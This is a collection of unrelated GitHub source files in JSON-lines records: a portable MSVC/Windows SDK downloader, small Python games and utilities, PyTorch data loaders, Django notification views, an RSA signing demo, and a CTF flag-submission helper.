f\"microsoft.vc.{msvc_ver}.crt.{TARGET}.desktop.base\",\n f\"microsoft.vc.{msvc_ver}.crt.{TARGET}.store.base\",\n # MSVC runtime source\n f\"microsoft.vc.{msvc_ver}.crt.source.base\",\n # ASAN\n f\"microsoft.vc.{msvc_ver}.asan.headers.base\",\n f\"microsoft.vc.{msvc_ver}.asan.{TARGET}.base\",\n # MSVC redist\n #f\"microsoft.vc.{msvc_ver}.crt.redist.x64.base\",\n ]\n\n for pkg in msvc_packages:\n p = first(packages[pkg], lambda p: p.get(\"language\") in (None, \"en-US\"))\n for payload in p[\"payloads\"]:\n with tempfile.TemporaryFile() as f:\n data = download_progress(payload[\"url\"], payload[\"sha256\"], pkg, f)\n total_download += len(data)\n with zipfile.ZipFile(f) as z:\n for name in z.namelist():\n if name.startswith(\"Contents/\"):\n out = OUTPUT / Path(name).relative_to(\"Contents\")\n out.parent.mkdir(parents=True, exist_ok=True)\n out.write_bytes(z.read(name))\n\n\n### download Windows SDK\n\nif install_sdk:\n sdk_packages = [\n # Windows SDK tools (like rc.exe & mt.exe)\n f\"Windows SDK for Windows Store Apps Tools-x86_en-us.msi\",\n # Windows SDK headers\n f\"Windows SDK for Windows Store Apps Headers-x86_en-us.msi\",\n f\"Windows SDK Desktop Headers x86-x86_en-us.msi\",\n # Windows SDK libs\n f\"Windows SDK for Windows Store Apps Libs-x86_en-us.msi\",\n f\"Windows SDK Desktop Libs {TARGET}-x86_en-us.msi\",\n # CRT headers & libs\n f\"Universal CRT Headers Libraries and Sources-x86_en-us.msi\",\n # CRT redist\n #\"Universal CRT Redistributable-x86_en-us.msi\",\n ]\n\n with tempfile.TemporaryDirectory() as d:\n dst = Path(d)\n\n sdk_pkg = packages[sdk_pid][0]\n sdk_pkg = packages[first(sdk_pkg[\"dependencies\"], lambda x: True).lower()][0]\n\n msi = []\n cabs = []\n\n # download msi files\n for pkg in sdk_packages:\n payload = first(sdk_pkg[\"payloads\"], lambda p: p[\"fileName\"] == f\"Installers\\\\{pkg}\")\n msi.append(dst / pkg)\n with open(dst / pkg, \"wb\") as f:\n data = download_progress(payload[\"url\"], payload[\"sha256\"], pkg, f)\n total_download += len(data)\n cabs += list(get_msi_cabs(data))\n\n # download .cab files\n for pkg in cabs:\n payload = first(sdk_pkg[\"payloads\"], lambda p: p[\"fileName\"] == f\"Installers\\\\{pkg}\")\n with open(dst / pkg, \"wb\") as f:\n download_progress(payload[\"url\"], payload[\"sha256\"], pkg, f)\n\n print(\"Unpacking msi files...\")\n\n # run msi installers\n for m in msi:\n subprocess.check_call([\"msiexec.exe\", \"/a\", m, \"/quiet\", \"/qn\", f\"TARGETDIR={OUTPUT.resolve()}\"])\n\n\n### versions\n\nmsvcv = \"\"\nsdkv = \"\"\n\nif install_msvc:\n msvcv = list((OUTPUT / \"VC/Tools/MSVC\").glob(\"*\"))[0].name\n\nif install_sdk:\n sdkv = list((OUTPUT / \"Windows Kits/10/bin\").glob(\"*\"))[0].name\n\n# place debug CRT runtime into MSVC folder (not what real Visual Studio installer does... but is reasonable)\n\nif install_msvc:\n dst = str(OUTPUT / \"VC/Tools/MSVC\" / msvcv / f\"bin/Host{HOST}/{TARGET}\")\n\n pkg = \"microsoft.visualcpp.runtimedebug.14\"\n dbg = packages[pkg][0]\n payload = first(dbg[\"payloads\"], lambda p: p[\"fileName\"] == \"cab1.cab\")\n try:\n with tempfile.TemporaryFile(suffix=\".cab\", delete=False) as f:\n data = download_progress(payload[\"url\"], payload[\"sha256\"], pkg, f)\n total_download += len(data)\n subprocess.check_call([\"expand.exe\", f.name, \"-F:*\", dst], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n finally:\n os.unlink(f.name)\n\n# place the folders under the Redist folder in the SDK under a versioned folder to allow other versions to be installed\n\nif install_sdk:\n redist_dir = OUTPUT / \"Windows Kits/10/Redist\"\n redist_versioned_dir = redist_dir / f'{sdkv}'\n\n if not os.path.exists(redist_versioned_dir):\n os.makedirs(redist_versioned_dir)\n\n for file_name in os.listdir(redist_dir):\n if not file_name.startswith('10.0.'): # Simple heuristic\n shutil.move((redist_dir / file_name), redist_versioned_dir)\n\n### cleanup\n\nshutil.rmtree(OUTPUT / \"Common7\", ignore_errors=True)\nif install_msvc:\n for f in [\"Auxiliary\", f\"lib/{TARGET}/store\", f\"lib/{TARGET}/uwp\"]:\n shutil.rmtree(OUTPUT / \"VC/Tools/MSVC\" / msvcv / f)\nfor f in OUTPUT.glob(\"*.msi\"):\n f.unlink()\nif install_sdk:\n for f in [\"Catalogs\", \"DesignTime\", f\"bin/{sdkv}/chpe\", f\"Lib/{sdkv}/ucrt_enclave\"]:\n shutil.rmtree(OUTPUT / \"Windows Kits/10\" / f, ignore_errors=True)\nfor arch in [\"x86\", \"x64\", \"arm\", \"arm64\"]:\n if arch != TARGET:\n if install_msvc:\n shutil.rmtree(OUTPUT / \"VC/Tools/MSVC\" / msvcv / f\"bin/Host{arch}\", ignore_errors=True)\n if install_sdk:\n shutil.rmtree(OUTPUT / \"Windows Kits/10/bin\" / sdkv / arch)\n shutil.rmtree(OUTPUT / \"Windows Kits/10/Lib\" / sdkv / \"ucrt\" / arch)\n shutil.rmtree(OUTPUT / \"Windows Kits/10/Lib\" / sdkv / \"um\" / arch)\n\n\n### setup.bat\n\nif install_msvc and install_sdk:\n SETUP = f\"\"\"@echo off\n\nset MSVC_VERSION={msvcv}\nset MSVC_HOST=Host{HOST}\nset MSVC_ARCH={TARGET}\nset SDK_VERSION={sdkv}\nset SDK_ARCH={TARGET}\n\nset MSVC_ROOT=%~dp0VC\\\\Tools\\\\MSVC\\\\%MSVC_VERSION%\nset SDK_INCLUDE=%~dp0Windows Kits\\\\10\\\\Include\\\\%SDK_VERSION%\nset SDK_LIBS=%~dp0Windows Kits\\\\10\\\\Lib\\\\%SDK_VERSION%\n\nset VCToolsInstallDir=%MSVC_ROOT%\\\\\nset PATH=%MSVC_ROOT%\\\\bin\\\\%MSVC_HOST%\\\\%MSVC_ARCH%;%~dp0Windows Kits\\\\10\\\\bin\\\\%SDK_VERSION%\\\\%SDK_ARCH%;%~dp0Windows Kits\\\\10\\\\bin\\\\%SDK_VERSION%\\\\%SDK_ARCH%\\\\ucrt;%PATH%\nset INCLUDE=%MSVC_ROOT%\\\\include;%SDK_INCLUDE%\\\\ucrt;%SDK_INCLUDE%\\\\shared;%SDK_INCLUDE%\\\\um;%SDK_INCLUDE%\\\\winrt;%SDK_INCLUDE%\\\\cppwinrt\nset LIB=%MSVC_ROOT%\\\\lib\\\\%MSVC_ARCH%;%SDK_LIBS%\\\\ucrt\\\\%SDK_ARCH%;%SDK_LIBS%\\\\um\\\\%SDK_ARCH%\n \"\"\"\n (OUTPUT / \"setup.bat\").write_text(SETUP)\n\nif install_msvc:\n MSVC_SCRIPT = f\"\"\"@echo off\n\nset MSVC_VERSION={msvcv}\nset MSVC_HOST=Host{HOST}\nset MSVC_ARCH={TARGET}\nset MSVC_ROOT=%~dp0VC\\\\Tools\\\\MSVC\\\\%MSVC_VERSION%\n\nset VCToolsInstallDir=%MSVC_ROOT%\nset PATH=%MSVC_ROOT%\\\\bin\\\\%MSVC_HOST%\\\\%MSVC_ARCH%;%PATH%\nset INCLUDE=%MSVC_ROOT%\\\\include;%INCLUDE%\nset LIB=%MSVC_ROOT%\\\\lib\\\\%MSVC_ARCH%;%LIB%\n\"\"\"\n (OUTPUT / f\"msvc-{msvcv}.bat\").write_text(MSVC_SCRIPT)\n (OUTPUT / f\"msvc-{args.msvc_version}.bat\").write_text(MSVC_SCRIPT)\n\nif install_sdk:\n WIN10_SDK_SCRIPT = f\"\"\"@echo off\n\nset SDK_VERSION={sdkv}\nset SDK_ARCH={TARGET}\nset SDK_INCLUDE=%~dp0Windows Kits\\\\10\\\\Include\\\\%SDK_VERSION%\nset SDK_LIBS=%~dp0Windows Kits\\\\10\\\\Lib\\\\%SDK_VERSION%\n\nset PATH=%~dp0Windows Kits\\\\10\\\\bin\\\\%SDK_VERSION%\\\\%SDK_ARCH%;%~dp0Windows Kits\\\\10\\\\bin\\\\%SDK_VERSION%\\\\%SDK_ARCH%\\\\ucrt;%PATH%\nset INCLUDE=%SDK_INCLUDE%\\\\ucrt;%SDK_INCLUDE%\\\\shared;%SDK_INCLUDE%\\\\um;%SDK_INCLUDE%\\\\winrt;%SDK_INCLUDE%\\\\cppwinrt;%INCLUDE%\nset LIB=%SDK_LIBS%\\\\ucrt\\\\%SDK_ARCH%;%SDK_LIBS%\\\\um\\\\%SDK_ARCH%;%LIB%\n\"\"\"\n (OUTPUT / f\"win-sdk-{sdkv}.bat\").write_text(WIN10_SDK_SCRIPT)\n (OUTPUT / f\"win-sdk-{args.sdk_version}.bat\").write_text(WIN10_SDK_SCRIPT)\n\nprint(f\"Total downloaded: {total_download>>20} MB\")\nprint(\"Done!\")\n","repo_name":"Doy-lee/DEVenv","sub_path":"win_portable_msvc.py","file_name":"win_portable_msvc.py","file_ext":"py","file_size_in_byte":13425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"5374572056","text":"import turtle\r\nfrom turtle import Screen\r\nimport math\r\nimport time\r\nimport random\r\n\r\n#def healthbars():\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef canvas():\r\n screen=turtle.Screen()\r\n screen.setup(width=300,height=100)\r\n screen.screensize(bg=(\"black\"))\r\n\r\n\r\n\r\n\r\ndef PlayerHP():\r\n plyer = turtle.Turtle(shape=\"square\", visible=False)\r\n plyer.color('green')\r\n plyer.pensize(\"25\")\r\n plyer.shape(\"square\")\r\n plyer.penup()\r\n plyer.goto(-150,25)\r\n plyer.pendown()\r\n plyer.goto(10,25)\r\n\r\n\r\n\r\n\r\ndef EasyHP():\r\n easy = turtle.Turtle(shape=\"square\", visible=False)\r\n easy.color('red')\r\n easy.pensize(\"25\")\r\n easy.shape(\"square\")\r\n easy.penup()\r\n easy.goto(-150,-16)\r\n easy.pendown()\r\n easy.goto(-30,-16)\r\n\r\n\r\n\r\n\r\ndef MediumHP():\r\n medium = turtle.Turtle(shape=\"square\", visible=False)\r\n medium.color('red')\r\n medium.pensize(\"25\")\r\n medium.shape(\"square\")\r\n medium.penup()\r\n medium.goto(-150,-16)\r\n medium.pendown()\r\n medium.goto(10,-16)\r\n\r\n\r\n\r\n\r\ndef HardHP():\r\n hard = turtle.Turtle(shape=\"square\", visible=False)\r\n hard.color('red')\r\n hard.pensize(\"25\")\r\n hard.shape(\"square\")\r\n hard.penup()\r\n hard.goto(-150,-16)\r\n hard.pendown()\r\n hard.goto(60,-16)\r\n\r\n\r\n\r\n\r\ndef EasyDMG(widthdmg):\r\n plyer_loss = turtle.Turtle(shape=\"square\", visible=False)\r\n plyer_loss.color('black')\r\n plyer_loss.pensize(\"25\")\r\n plyer_loss.shape(\"square\")\r\n plyer_loss.penup()\r\n plyer_loss.goto(widthdmg,25)\r\n plyer_loss.pendown()\r\n\r\n\r\n\r\n\r\ndef PlayerDMG(ewidthdmg):\r\n easy_loss = turtle.Turtle(shape=\"square\", visible=False)\r\n easy_loss.color('black')\r\n easy_loss.pensize(\"25\")\r\n easy_loss.shape(\"square\")\r\n easy_loss.penup()\r\n easy_loss.goto(ewidthdmg,-16)\r\n easy_loss.pendown()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"ttotmom/tominove-testy","sub_path":"casino/fightgamehp.py","file_name":"fightgamehp.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73653711089","text":"'''\n\nDate: 2023-03-23 09:00:34\nLastEditTime: 2023-08-19 17:07:52\n\nDescription: \nFilePath: /openset_anomaly_detection/builder/data_builder.py\nhave a nice day\n'''\n# -*- coding:utf-8 -*-\n\n# @file: data_builder.py \n\nimport torch\nfrom dataloader.dataset_semantickitti import get_model_class, collate_fn_BEV, collate_fn_BEV_test, collate_fn_BEV_val, collate_fn_BEV_incre\nfrom dataloader.pc_dataset import get_pc_model_class\nfrom torch.utils.data.distributed import DistributedSampler\nfrom loguru import logger \n\ndef build(dataset_config,\n train_dataloader_config,\n val_dataloader_config,\n grid_size=[480, 360, 32],\n incre=None,\n SHAPENET_ANOMALY=None,debug=False,gen_resized_point_for_train = True):\n print(f\"gen_resized_point_for_train : {gen_resized_point_for_train}\")\n data_path = train_dataloader_config[\"data_path\"]\n train_imageset = train_dataloader_config[\"imageset\"]\n val_imageset = val_dataloader_config[\"imageset\"]\n train_ref = train_dataloader_config[\"return_ref\"]\n val_ref = val_dataloader_config[\"return_ref\"]\n\n label_mapping = dataset_config[\"label_mapping\"]\n\n SemKITTI = get_pc_model_class(dataset_config['pc_dataset_type'])\n\n nusc=None\n if \"nusc\" in dataset_config['pc_dataset_type']:\n from nuscenes import NuScenes\n nusc = NuScenes(version='v1.0-trainval', dataroot=data_path, verbose=False)\n\n train_pt_dataset = SemKITTI(data_path, imageset=train_imageset,\n return_ref=train_ref, label_mapping=label_mapping, nusc=nusc)\n val_pt_dataset = SemKITTI(data_path, imageset=val_imageset,\n return_ref=val_ref, label_mapping=label_mapping, nusc=nusc)\n \n train_dataset = get_model_class(dataset_config['dataset_type'])(\n train_pt_dataset,\n grid_size=grid_size,\n flip_aug=True,\n fixed_volume_space=dataset_config['fixed_volume_space'],\n max_volume_space=dataset_config['max_volume_space'],\n min_volume_space=dataset_config['min_volume_space'],\n ignore_label=dataset_config[\"ignore_label\"],\n rotate_aug=True,\n scale_aug=True,\n transform_aug=True,\n ds_sample=gen_resized_point_for_train,\n SHAPENET_ANOMALY=SHAPENET_ANOMALY,\n shapenet_path=dataset_config[\"shapenet_path\"],\n debug = debug\n )\n\n val_dataset = get_model_class(dataset_config['dataset_type'])(\n val_pt_dataset,\n grid_size=grid_size,\n fixed_volume_space=dataset_config['fixed_volume_space'],\n max_volume_space=dataset_config['max_volume_space'],\n min_volume_space=dataset_config['min_volume_space'],\n ignore_label=dataset_config[\"ignore_label\"],\n return_test=True,\n ds_sample=False,\n SHAPENET_ANOMALY=False,\n debug = debug,\n shapenet_path=dataset_config[\"shapenet_path\"],\n )\n\n if torch.distributed.is_initialized():\n logger.info(f'ready to use distributed dataloader ')\n \n train_sampler = DistributedSampler(train_dataset)\n\n \n train_dataset_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=train_dataloader_config[\"batch_size\"],\n collate_fn=collate_fn_BEV_incre if incre is not None else collate_fn_BEV,\n sampler=train_sampler,\n num_workers=train_dataloader_config[\"num_workers\"],\n # shuffle=train_dataloader_config[\"shuffle\"],\n pin_memory=False,\n drop_last=True)\n # TODO: when val batch size > 1, the prediction and label sizes does not match (4 v.s. 3)\n val_sampler = DistributedSampler(val_dataset)\n val_dataset_loader = torch.utils.data.DataLoader(dataset=val_dataset,\n batch_size=val_dataloader_config[\"batch_size\"],\n collate_fn=collate_fn_BEV_test,\n sampler=val_sampler,\n # shuffle=val_dataloader_config[\"shuffle\"],\n num_workers=val_dataloader_config[\"num_workers\"],\n pin_memory=False)\n else:\n train_dataset_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=train_dataloader_config[\"batch_size\"],\n collate_fn=collate_fn_BEV_incre if incre is not None else collate_fn_BEV,\n shuffle=train_dataloader_config[\"shuffle\"],\n num_workers=train_dataloader_config[\"num_workers\"],\n pin_memory=False,\n drop_last=True)\n # TODO: when val batch size > 1, the prediction and label sizes does not match (4 v.s. 3)\n val_dataset_loader = torch.utils.data.DataLoader(dataset=val_dataset,\n batch_size=val_dataloader_config[\"batch_size\"],\n collate_fn=collate_fn_BEV_test,\n shuffle=val_dataloader_config[\"shuffle\"],\n num_workers=val_dataloader_config[\"num_workers\"],\n pin_memory=False)\n\n return train_dataset_loader, val_dataset_loader\n","repo_name":"Daniellli/PAD","sub_path":"builder/data_builder.py","file_name":"data_builder.py","file_ext":"py","file_size_in_byte":6024,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"20"} +{"seq_id":"2118063261","text":"'''\r\nDescroption: LeetCode 1736. 替换隐藏数字得到的最晚时间\r\nAuthor: EmoryHuang\r\nDate: 2021-07-24 13:02:08\r\n解题思路:\r\n贪心思想\r\n枚举所有 ? 可能出现的位置\r\n'''\r\n\r\n\r\nclass Solution:\r\n def maximumTime(self, time: str) -> str:\r\n ls = list(time)\r\n if ls[0] == '?':\r\n ls[0] = '2' if ls[1] == '?' or ls[1] < '4' else '1'\r\n if ls[1] == '?':\r\n ls[1] = '3' if ls[0] == '2' else '9'\r\n if ls[3] == '?':\r\n ls[3] = '5'\r\n if ls[4] == '?':\r\n ls[4] = '9'\r\n return ''.join(ls)","repo_name":"EmoryHuang/myLeetCode","sub_path":"Solution/1736.替换隐藏数字得到的最晚时间/1736.替换隐藏数字得到的最晚时间.py","file_name":"1736.替换隐藏数字得到的最晚时间.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"9334881339","text":"from queue import Queue\nfrom utils.generic import getWithDefault, getMillis\n\ndef buildQueues(queuesConf):\n queues = {}\n for conf in queuesConf:\n if getWithDefault(conf,\"activate\",1):\n q = Queue(maxsize=conf[\"depth\"])\n queues[conf[\"name\"]] = q\n\n return queues\n","repo_name":"solidvan22/imageFilters","sub_path":"src/py/Queues.py","file_name":"Queues.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38477496858","text":"from cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import padding\n\ndef Signing(data):\n\n private_signer_key = rsa.generate_private_key(\n public_exponent=65537,\n key_size=2048,\n backend=default_backend()\n )\n\n public_signer_key = private_signer_key.public_key()\n\n signer = private_signer_key.signer(\n padding.PSS(\n mgf=padding.MGF1(hashes.SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n hashes.SHA256()\n )\n\n data_bytes = str.encode(data)\n\n signer.update(data_bytes)\n signature = signer.finalize()\n\n check = \"\".join([hex(h)[2:] for h in signature])\n print(\"From 'Signer' method: \\n\" + check)\n\n return(data_bytes, signature, public_signer_key)\n\ndef Check_sign(data_bytes, signature, public_signer_key):\n\n verifier = public_signer_key.verifier(\n signature,\n padding.PSS(\n mgf=padding.MGF1(hashes.SHA256()),\n salt_length=padding.PSS.MAX_LENGTH\n ),\n hashes.SHA256()\n )\n\n verifier.update(data_bytes)\n\n check = \"\".join([hex(h)[2:] for h in signature])\n print(\"\\nFrom 'Check_sign' method: \\n\" + check)\n\n try:\n verifier.verify()\n except InvalidSignature:\n message = \"Signatures are not equal!\"\n return message\n\n message = \"Signatures are equal!\"\n return (message, data_bytes)\n\ndef main():\n message = \"This is sent and signed by Luka Novak.\"\n print('\\n********************************\\nInitial data:\\n\\n>>> ' + message + '\\n\\n********************************\\n')\n\n (data_b, signature, public_signer_key) = Signing(message)\n\n (return_message, received_data) = Check_sign(data_b, signature, public_signer_key)\n\n print('\\nRESULT:\\n********************************')\n print('Verifier verdict:\\n\\n>>> ' + return_message)\n print('\\n\\nReceived and deciphered data:\\n\\n>>> ' + received_data.decode(\"utf-8\"))\n print('\\n********************************\\n')\n\nif __name__ == '__main__':\n main()\n","repo_name":"lukanovak93/advanced-operating-systems","sub_path":"digital_signature.py","file_name":"digital_signature.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18384584801","text":"import sys\n\nnumber = int(sys.stdin.readline().strip()) # same as input()but instead it's removing the white space in the end of beginning of each entry\ndict1 = {}\nfor i in range(number):\n name_number = input()\n name_list = name_number.split(' ')\n dict1[name_list[0]] = name_list[1]\n\nsearch_int = sys.stdin.readline().strip()\n\nwhile search_int:\n phone_number = dict1.get(search_int)\n if phone_number:\n result = search_int + \"=\" + phone_number\n print(result)\n else:\n print(\"Not found\")\n search_int = sys.stdin.readline().strip()\n \n","repo_name":"aliensmart/hackerrank","sub_path":"day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"3602607183","text":"from django.shortcuts import render, render_to_response\nfrom django.http import HttpResponseRedirect\nfrom .models import Notification\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.shortcuts import render\nimport datetime\n\ndef show_notification(request, notification_id):\n n = Notification.objects.get(id=notification_id)\n return render_to_response('islem/bildirimler.html', {'notification': n})\n\ndef delete_notification(request, notification_id):\n n = Notification.objects.get(id=notification_id)\n n.viewed = True\n n.save()\n return redirect('list_notification')\n\ndef create_notification(request):\n print(\"create notification kısmı...\")\n print(\"request.user.id\", request.user.id)\n Notification.objects.create(kisi_id=request.user.id,\n proje_id=2,\n title=\"bildirim başlık ....\",\n message=\"bildirim mesaj.........2 numaralı proje için \")\n return redirect('index')\n\n\ndef list_notification(request):\n print(\"list notifications ..\")\n print(\"request user id..\", request.user.id)\n #n = Notification.objects.all()\n bugun = datetime.datetime.now()\n yedigun = datetime.timedelta(7,0,0)\n yedigun_once = bugun - yedigun\n print(bugun)\n print(yedigun_once)\n n_list = Notification.objects.filter(kisi_id=request.user.id).filter(timestamp__gt=yedigun_once).order_by(\"-id\")\n #contact_list = Contacts.objects.all()\n paginator = Paginator(n_list, 20)\n page = request.GET.get('page')\n try:\n n = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n n = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n n = paginator.page(paginator.num_pages)\n print(\"işte sayfalanmış liste...\", n)\n return render_to_response('islem/bildirimler_genel.html', {'notification_list': n})\n","repo_name":"leventengin/denetim","sub_path":"notification/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7003071157","text":"import csv\nimport math\nimport os\n# definir el centro de la circunferencia\n# Tome en cuenta que en este caso se utilizo centro 0,0 sin embargo para el uso final debe ser modificado segun la calibración del 0 de los servos, y la longitud del los eslabones\n#En el caso de la simulación anexada como \"AREA DE TRABAJO 5 BARRAS\" puede usar el archivo gbb para modificar el tamaño de los eslabones y el área del trabajo\n#Asi mismo se puede observar la posición inicial.\n#Por ende en nuestro trabajo final será 5,13 dentro del formato (x,y)\ncentro_x = 0\ncentro_y = 0\n\n# definir el radio de la circunferencia\nradio = 2\n\n# definir la cantidad de puntos a generar\nnum_puntos = 50\n\n# generar lista de puntos\npuntos = []\nfor i in range(num_puntos):\n angulo = 2 * math.pi * i / num_puntos\n x = centro_x + radio * math.cos(angulo)\n y = centro_y + radio * math.sin(angulo)\n puntos.append((x, y))\n\n# imprimir lista de puntos en formato CSV\nwith open('puntos.csv', 'w', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=',')\n writer.writerow(['x', 'y'])\n for punto in puntos:\n writer.writerow(punto)\nprint(\"¡Listo, en la dirección de abajo se guardo el archivo!\")\nprint(os.getcwd())\n","repo_name":"Tole15/ESP32-CONNECTION","sub_path":"listadepuntosradio2.py","file_name":"listadepuntosradio2.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"24629452179","text":"import requests\r\nfrom libs.Misc import Log, Config\r\n\r\n\r\ndef submit(flags):\r\n \"\"\"\r\n 批量提交flag\r\n 传入flag格式:{target : [flag1, flag2, ...]}\r\n \"\"\"\r\n url = 'http://10.1.8.10/event/1/awd/flag/?token=4826efa9d50c137b&flag=%s'# 提交flag的url\r\n # 提交flag需要的http头\r\n\r\n for target, flags in flags.items():\r\n Log.blue('[*] {}'.format(target), end=' ====> ')\r\n Log.blue(flags)\r\n for flag in flags:\r\n flag = flag.strip()\r\n try:\r\n req = requests.post(url%flag, timeout=2, proxies=Config.proxy)\r\n Log.show(req.content.decode('utf-8').strip())\r\n except requests.Timeout:\r\n Log.red('timeout')\r\n","repo_name":"Dar1in9s/Awd-tool","sub_path":"plugs/submit.py","file_name":"submit.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"30324112236","text":"inFile = open('04input.txt','r')\nnumbers = []\nboards = []\ncheck = []\nfor line in inFile:\n if len(line) > 15:\n for number in line[:-1].split(','):\n numbers.append(int(number))\n if line == '\\n':\n boards.append([])\n check.append([])\n if 1 < len(line) < 16:\n row = line[:-1].split()\n boards[-1].append([])\n for r in row:\n boards[-1][-1].append(int(r))\n check[-1].append([0,0,0,0,0])\n\npreviousWinners = []\nfor i in range(len(check)):\n previousWinners.append(0)\n\ndef getWinners():\n won = []\n for i in range(len(check)):\n won.append(0)\n for j in range(5):\n if sum(check[i][j]) == 5:\n won[i] = 1\n column = 0\n for k in range(5):\n column += check[i][k][j]\n if column == 5:\n won[i] = 1\n return won\n\nfor count in range(len(numbers)):\n for i in range(len(boards)):\n for j in range(5):\n for k in range(5):\n if numbers[count] == boards[i][j][k]:\n check[i][j][k] = 1\n winners = getWinners()\n if sum(winners) == len(winners):\n winner = previousWinners.index(0)\n unmarked = 0\n for i in range(5):\n for j in range(5):\n if not check[winner][i][j]:\n unmarked += boards[winner][i][j]\n print(unmarked * numbers[count])\n break\n previousWinners = winners[:]","repo_name":"ThomasB123/AdventOfCode","sub_path":"2021/04.2.py","file_name":"04.2.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40563422383","text":"# -----------------------------------------------------------\n# Stacked Cross Attention Network implementation based on \n# https://arxiv.org/abs/1803.08024.\n# \"Stacked Cross Attention for Image-Text Matching\"\n# Kuang-Huei Lee, Xi Chen, Gang Hua, Houdong Hu, Xiaodong He\n#\n# Writen by Kuang-Huei Lee, 2018\n# ---------------------------------------------------------------\n\"\"\"Data provider\"\"\"\n\nimport torch\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\nimport os\nimport nltk\nfrom PIL import Image\nimport numpy as np\nimport json as jsonmod\n\nfrom nltk.tree import ParentedTree\nfrom tree_manager import TreeManager\nimport dgl\n\nimport DebugFunction as df\n\n\nclass PrecompDataset(data.Dataset):\n \"\"\"\n Load precomputed captions and image features\n Possible options: f30k_precomp, coco_precomp\n \"\"\"\n\n def __init__(self, data_path, data_split, vocab):\n \n print(\"### Creating PrecompDataset for {} ###\".format(data_split))\n self.vocab = vocab\n loc = data_path + '/'\n full_path_cap = loc + data_split + \"_caps.txt\"\n print(\">> Load captions from {}\".format(full_path_cap))\n \n # Captions\n self.captions = []\n with open(full_path_cap, 'r') as f:\n for line in f:\n self.captions.append(line.strip())\n print(\">> # of loaded captions = {}\".format(len(self.captions)))\n \n full_path_tree = loc + data_split + \"_caps_trees.txt\"\n print(\">> Load caption trees from {}\".format(full_path_tree))\n \n # Trees\n self.trees = []\n with open(full_path_tree, 'r') as f:\n for line in f:\n self.trees.append( ParentedTree.fromstring(line) )\n print(\">> # of loaded trees = {}\".format(len(self.trees)))\n \n self.tree_manager = TreeManager(vocab)\n # df.set_trace()\n \n # Image features\n full_path_img = loc + data_split + \"_ims.npy\"\n print(\">> Load visual features from {}\".format(full_path_img))\n self.images = np.load(full_path_img)\n self.length = len(self.captions)\n # rkiros data has redundancy in images, we divide by 5, 10crop doesn't\n if self.images.shape[0] != self.length:\n self.im_div = 5\n else:\n self.im_div = 1\n # the development set for coco is large and so validation would be slow\n # if data_split == 'dev':\n # self.length = 5000\n # if data_split == \"dev\":\n # df.set_trace()\n\n def __getitem__(self, index):\n # index = 0 \n # handle the image redundancy\n img_id = int(index/self.im_div)\n image = torch.Tensor(self.images[img_id])\n caption = self.captions[index]\n vocab = self.vocab \n # Convert caption (string) to word ids.\n tokens = nltk.tokenize.word_tokenize(caption.lower())\n # print(\"** index = {}: {}\".format(index, tokens))\n start_nodes, end_nodes, node_feats, node_labels, _ = self.tree_manager.prepare_tree_graph(self.trees[index], tokens, index)\n #cap = self.tree_manager.get_phrase_string(self.trees[0], 0)\n # Nodes whose features are -1 are masked by 0, and\n # the other nodes are assocaited with 1 indicating they are used. \n # df.set_trace()\n node_masks = (node_feats != -1).astype(np.float32)\n target = dgl.graph(\n (torch.tensor(start_nodes, dtype=torch.int32), torch.tensor(end_nodes, dtype=torch.int32))\n )\n target.ndata[\"x\"] = torch.from_numpy(node_feats)\n target.ndata[\"mask\"] = torch.from_numpy(node_masks) \n # target.ndata[\"y\"] = torch.from_numpy(node_labels) \n # print(\"id:{}\\nx:{}\".format(index, target.ndata[\"x\"]))\n # print(\"x_org: {} ({})\".format(node_feats, len(node_feats)))\n # print(\"mask:{}\\ny:{}\".format(target.ndata[\"mask\"], target.ndata[\"y\"]))\n # print(\"start_nodes:{}\".format(start_nodes))\n # print(\"end_nodes:{}\".format(end_nodes))\n \n # caption = []\n # caption.append(vocab(''))\n # caption.extend([vocab(token) for token in tokens])\n # caption.append(vocab(''))\n # target = torch.Tensor(caption)\n # print(\"Org: {} ({})\".format(self.captions[index], len(self.captions[index].split(\" \"))))\n # for i, cid in enumerate(caption):\n # print(\"{}th word: {} -> {}\".format(i, cid, 